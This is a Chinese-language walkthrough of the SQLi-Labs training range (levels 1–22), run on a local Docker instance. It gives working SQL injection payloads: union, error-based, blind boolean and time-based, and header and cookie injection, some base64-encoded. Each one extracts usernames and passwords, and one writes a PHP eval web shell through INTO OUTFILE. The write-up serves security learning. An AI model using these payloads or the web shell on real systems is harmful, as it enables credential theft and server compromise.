【靶场实战】SQLi-Labs 通关攻略 (Less 1 - Less 22)
SQLi-Labs 漏洞复现level1~level22 (Basic Challenges)
靶场数据库初始化
启动 Docker 容器后,进入靶场主页。为了使靶场正常工作,需要先点击 Setup/reset Database for labs 进行数据库初始化和建表.
less-1基于错误的单引号字符串
1.题目界面

2. 注入点探测与判断
访问第一关,传入参数 ?id=1,页面返回 Your Login name 和 Your Password。
在参数后添加单引号 ' 进行探测:
http://localhost:6651/Less-1/?id=1'

页面爆出 SQL 语法错误:
you have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
这说明 SQL 查询语句类似于:
SELECT * FROM users WHERE id='$id' LIMIT 0,1
多出的单引号破坏了闭合结构。因此,这是一个单引号闭合的字符型注入点,我们需要使用 --+ 或 # 将后面的内容注释掉。

3. 判断字段数与寻找显示位
首先使用 order by 探测原查询语句返回的字段数:
?id=1' order by 3--+
?id=1' order by 4--+

报错说明字段数为 3。
接着,让前半句查询失效(使 id=-1),并使用 union select 寻找页面上的数据回显位:
http://localhost:6651/Less-1/?id=-1' union select 1,2,3--+

页面回显了 2 和 3,说明我们可以在第 2 位 and 第 3 位上获取我们想要的数据。
获取当前数据库名和版本号:
http://localhost:6651/Less-1/?id=-1' union select 1,database(),version()--+

- 当前数据库:
security - MySQL 版本:
5.6.xx(大于 5.0,支持从information_schema查表名)
4. 获取敏感数据(爆表名与列名)
利用 information_schema 爆出 security 数据库下的所有表名:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

在页面中发现敏感表名:users。
接着,爆出 users 表中的所有列名:
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
发现关键列名:username 和 password。

5. 获取信息
使用 group_concat 将表中的ID,用户名和密码输出:
?id=-1' union select 1,2,group_concat(id,username,password) from users --+
页面成功回显出所有用户的账号与密码,Less-1 通关。

less-2基于错误的GET整型注入
1.题目

整形注入的原理相当于参数拼接,可执行任意命令不需要闭合
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = " . $id;
2.获取信息
前面的步骤差不多,直接看用户的账号与密码
?id=-1 union select 1,2,group_concat(id,username,password) from users --+

Less-3 基于错误的GET单引号变形字符型注入
1.题目

2.分析

发现多了个),应该是是再单引号的基础上嵌套了().
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = ('" . $id . "')";
使用')来闭合以执行用户输入的sql语句.
3.获取信息
?id=-1')union select 1,2,group_concat(id,username,password) from users --+

Less-4 基于错误的GET双引号字符型注入
1.题目

2.分析

我就直接看”闭合的报错了,知道应使用")来闭合.
3.获取信息
?id=-1")union select 1,2,group_concat(id,username,password) from users --+

Less-5 双注入GET单引号字符型注入
1.题目

2.分析

使用"闭合时出现不一样的内容但是没有意义,题目有点像盲注。但题目要使用双注:在一个 SQL 查询语句中,嵌套另一个子查询语句(即“双重查询”).查询 information_schema.tables,确保有足够多的数据行。构造 database() + 随机 0/1 的分组字段。利用 group by 和 rand(0) 的特性制造重复键报错。让想要的信息出现在报错信息里。
3.获取信息
?id=1' union select 1, count(*), concat((select concat(0x5E,username, 0x3a, password,0x5E) from users limit 0,1), '~', floor(rand(0)*2)) as x from information_schema.tables group by x--+

还是这个页面,可能是报错信息太长了。使用limit 0,1 每次只查一条记录.

使用burp suite获取数据包后,将数据包发到intruder进行爆破使用spiner模式获取全部信息。

Less-6 双注入GET双引号字符型注入
1.题目

2.获取信息
与上一题差别不大,只是使用"闭合
?id=1" union select 1, count(*), concat((select concat(0x5E,username, 0x3a, password,0x5E) from users limit 0,1), '~', floor(rand(0)*2)) as x from information_schema.tables group by x--+

还是使用burp suite获取全部信息

Less-7 导出文件GET字符型注入
1.题目

2.分析
先看看是什么闭合方式

测试过后发现是用'))闭合。提示使用outfile,可以使用 union select 配合 into outfile 向服务器的 Web 目录写入一个 PHP 后门文件(如 shell.php)。如果写入成功可以用蚁剑连接查看文件详情。
?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile '/var/www/html/shell.php'--+
由于是docker部署容器内部默认不存在 /var/www/html/ 这个目录,所以写入不了,但是大概思路是这样的。
Less-8 布尔型单引号GET盲注
1.题目

2.分析

回显只有正确或者无回显,说明是布尔盲注。测试闭合方式:
- 当输入
?id=1'时,页面无回显; - 当输入
?id=1' and 1=1--+时,页面正常显示You are in...........; - 当输入
?id=1' and 1=2--+时,页面无回显。 由此判断,该关卡为单引号闭合的布尔盲注点。
3.获取信息
利用页面对 True 和 False 的回显差异(有无 You are in........... 提示),我们可以对数据进行逐个字节的盲注:
-
获取当前数据库长度(长度为 8 时页面回显正常):
?id=1' and length(database())=8--+ -
猜解当前数据库名字的每个字符(第一位字符 ASCII 码为 115 即字母 s 时页面回显正常):
?id=1' and ascii(substr(database(),1,1))=115--+ -
获取数据: 在实际复现中,可以利用 Burp Suite 的 Intruder 模块将请求包中的
ascii码值和substr偏移位设置为变量,进行自动化爆破,通过筛选响应长度(Length)差异或页面过滤匹配,得到数据库中的表名、列名以及所有账号密码。
不过还是太麻烦了,可以使用sqlmap进行注入。

Less-9 基于时间的GET单引号盲注
1.题目

2.分析
不论输入正确还是错误的 Payload,页面始终显示 You are in...........,无法通过页面回显变化来判断。我们需要引入时间延迟函数 sleep() 进行测试:
?id=1' and sleep(5)--+
可以看到浏览器标签页持续加载,响应时间延迟了 5 秒,这证明了单引号闭合的时间盲注点存在:
3.获取信息
利用 if(expr1, expr2, expr3) 条件判断函数配合 sleep()。如果 expr1 为真,则执行 sleep(5) 延迟响应,否则执行 1 立即返回:
-
判断数据库名长度是否为 8:
?id=1' and if(length(database())=8, sleep(5), 1)--+ -
判断数据库名第一位是否为 ‘s’ (ASCII 码 115):
?id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 1)--+ -
自动化获取数据: 在实际复现中,可以利用 Python 脚本或者 Burp Suite 的 Intruder 模块对字符和 ASCII 码进行爆破,根据响应时间(Response Time)筛选出发生延迟的包,从而获取完整的账号密码:
全部结果使用sqlmap来获取

Less-10 基于时间的双引号盲注
1.题目

2.分析
输入:通过在参数中测试双引号 " 和时间延迟函数 sleep(5) 来寻找注入点。如果输入:
?id=1" and sleep(5)--+
发现浏览器页面加载时间明显延迟了 5 秒,说明系统对参数的处理存在双引号闭合的时间盲注漏洞。
3.获取信息
同样利用 if() 条件判断配合 sleep() 进行数据盲注。因为是双引号闭合,只需将参数两端的包裹字符改为双引号 " 即可:
-
猜解数据库名长度:
?id=1" and if(length(database())=8, sleep(5), 1)--+ -
猜解数据库名第一位字符(判断是否为 ‘s’):
?id=1" and if(ascii(substr(database(),1,1))=115, sleep(5), 1)--+
使用sqlmap

Less-11 基于错误的PSOT单引号字符
1.题目

2.分析
看来是post请求,随便填一个用户名和密码看看。

可以看到post请求的参数是passwd,sumbit,uname.那么接下来测试是什么闭合方式.

测试发现是'闭合,接下来的步骤与前GET请求相同,找表名->找列名->获取信息。
3.获取信息
uname=1' union select 1,group_concat(id,username,password) from users --+

Less-12 基于错误的双引号POST型字符变形注入
1.题目

2.获取信息
闭合方式是")
uname=1") union select 1,group_concat(id,username,password) from users --+

Less-13 POST 单引号变形双注入
1.题目

2.分析
又是双注,还是利用 group by 和 rand(0) 的特性制造重复键报错。让想要的信息出现在报错信息里。
3.获取信息
使用')闭合,话说这个双注怎么这么麻烦。
uname=1') union select count(*),concat((select concat(0x5E,username, 0x3a, password,0x5E) from users limit 0,1), '~', floor(rand(0)*2)) as x from information_schema.tables group by x --+

使用burp suite获取全部信息,也可以自己一个一个动手看。

Less-14 POST双引号变形双注入
1.题目

2.获取信息
不浪费时间了,使用"闭合
uname=1" union select count(*),concat((select concat(0x5E,username, 0x3a, password,0x5E) from users limit 0,1), '~', floor(rand(0)*2)) as x from information_schema.tables group by x --+


Less-15 基于bool型/时间延迟单引号POST型盲注
1.题目

2.获取信息
布尔盲注的原理之前提过了,这里还是直接使用工具,使用—data选项将参数传入。

Less-16 post方法双引号括号绕过时间盲注
1.题目

2.获取信息
记得使用—level 和 —risk选项,使用—technique T 指定时间盲注,使用—dbms=mysql指定数据库类型

Less-17 基于错误的更新查询POST注入
1.题目

2.分析
这道题对于uname检查严格,但是passwd没有检查,那就从passwd进行注入。由于页面没有数据回显,但后台开启了数据库错误打印,且原 SQL 语句是 UPDATE(更新)语句而非 SELECT(查询)语句,无法使用 UNION 联合查询,因此必须使用基于 updatexml() 的报错注入来获取数据。为了在 UPDATE users 的同时获取 users 表里的用户名,必须使用**双重子查询(临时表别名)**的语法来绕过限制。
3.获取信息
uname=admin&passwd=1' and updatexml(1, concat(0x7e,(select concat(temp.username, 0x3A, temp.password)from (select username, password from users limit 0,1) as temp),0x7e), 1)--+


Less-18 基于错误的用户代理,头部POST注入
1.题目

2.分析
使用弱口令admin登陆后,页面多了一行User-Agent,提示对User-Agent进行注入。

3.获取数据
可以使用burp suite修改数据包
1' and extractvalue(1,concat(0x7e,(select concat(username,0x3A,password)from users limit 0,1),0x7e))='


Less-19 基于头部的RefererPOST报错注入
1.题目

2.分析
这关使用弱口令admin登陆后页面打印的是Referer,提示对Referer进行注入。

3.获取信息
1' and extractvalue(1,concat(0x7e,(select concat(username,0x3A,password)from users limit 0,1),0x7e))='


Less-20 基于错误的cookie头部POST注入
1.题目

2.分析
先登陆看看,发现提示是cookie

添加cookie:uname=admin发现页面打印了很多信息,应该还是报错注入。

3.获取信息
admin' and extractvalue(1,concat(0x7e,(select concat(username,0x3A,password)from users limit 0,1),0x7e))='


Less-21 基于错误的复杂的字符型Cookie注入
1.题目

2.分析
使用弱口令登陆后发现cookie中的uname的值是base64编码。

3.获取信息
闭合方式我直接看源码了,使用('1'='1闭合,记得base64编码
admin') and extractvalue(1,concat(0x7e,(select concat(username,0x3A,password)from users limit 0,1),0x7e)) and ('1'='1
编码后:
YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBjb25jYXQodXNlcm5hbWUsMHgzQSxwYXNzd29yZClmcm9tIHVzZXJzIGxpbWl0IDAsMSksMHg3ZSkpIGFuZCAoJzEnPScx

Less-22 基于错误的双引号字符型Cookie注入
1.题目

2.获取信息
没区别,改为"就行
admin” and extractvalue(1,concat(0x7e,(select concat(username,0x3A,password)from users limit 0,1),0x7e)) and "1"="1
编码后:
YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGNvbmNhdCh1c2VybmFtZSwweDNBLHBhc3N3b3JkKWZyb20gdXNlcnMgbGltaXQgMCwxKSwweDdlKSkgYW5kICIxIj0iMQ==
